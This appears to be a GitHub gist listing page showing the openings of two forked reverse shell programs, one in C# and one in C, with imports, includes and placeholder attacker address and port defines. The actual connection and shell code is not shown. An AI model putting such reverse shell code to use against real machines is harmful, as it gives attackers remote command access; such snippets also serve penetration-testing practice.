Skip to content

Instantly share code, notes, and snippets.

View Th3S3cr3tAg3nt's full-sized avatar

Th3S3cr3tAg3nt

View GitHub Profile
@Th3S3cr3tAg3nt
Th3S3cr3tAg3nt / Simple_Rev_Shell.cs
Created June 15, 2019 23:01 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
@Th3S3cr3tAg3nt
Th3S3cr3tAg3nt / reverse_shell.c
Created June 15, 2019 23:22 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX